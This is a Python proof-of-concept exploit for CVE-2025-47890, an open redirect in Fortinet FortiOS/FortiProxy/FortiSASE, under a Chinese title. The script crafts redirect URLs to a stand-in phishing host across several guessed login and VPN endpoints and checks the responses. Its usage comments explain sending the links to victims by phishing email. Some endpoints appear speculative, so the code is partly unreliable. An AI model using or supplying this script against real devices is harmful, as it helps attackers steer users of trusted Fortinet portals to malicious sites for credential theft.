CVE-2025-47890 Fortinet FortiOS/FortiProxy/FortiSASE开放重定向漏洞

# CVE-2025-47890 - Fortinet Open Redirect PoC # This PoC demonstrates the open redirect vulnerability in Fortinet FortiOS/FortiProxy/FortiSASE import requests import sys from urllib.parse import quote TARGET_HOST = "https://<fortinet-device-ip>" MALICIOUS_URL = "https://evil.example.com/phishing" def exploit_redirect(target_host, redirect_url): """ Craft a malicious HTTP request to exploit the open redirect vulnerability. The Fortinet device will redirect the user to the attacker-controlled URL. """ # Common redirect parameters found in Fortinet web interfaces redirect_params = [ f"{target_host}/login?redirect={quote(redirect_url)}", f"{target_host}/remote/logincheck?redirect={quote(redirect_url)}", f"{target_host}/favicon.ico?redirect={quote(redirect_url)}", f"{target_host}/sslvpn/logon.shtml?redirect={quote(redirect_url)}", f"{target_host}/remote/fgt_lang?lang=en&redirect={quote(redirect_url)}", ] for url in redirect_params: print(f"[+] Crafted malicious URL: {url}") # Verify the redirect behavior try: response = requests.get(url, allow_redirects=False, verify=False, timeout=10) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if redirect_url in location: print(f"[VULNERABLE] Redirected to: {location}") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-47890 - Fortinet Open Redirect Exploit") print("=" * 60) target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST evil_url = sys.argv[2] if len(sys.argv) > 2 else MALICIOUS_URL if exploit_redirect(target, evil_url): print("[+] Target is vulnerable to CVE-2025-47890") else: print("[-] Target does not appear vulnerable") if __name__ == "__main__": main() # Usage: # python CVE-2025-47890.py https://fortigate.example.com https://evil.example.com/phishing # # The crafted URL can be sent to victims via phishing emails. # When the victim clicks the link, they are redirected from the legitimate # Fortinet device to the attacker's malicious site.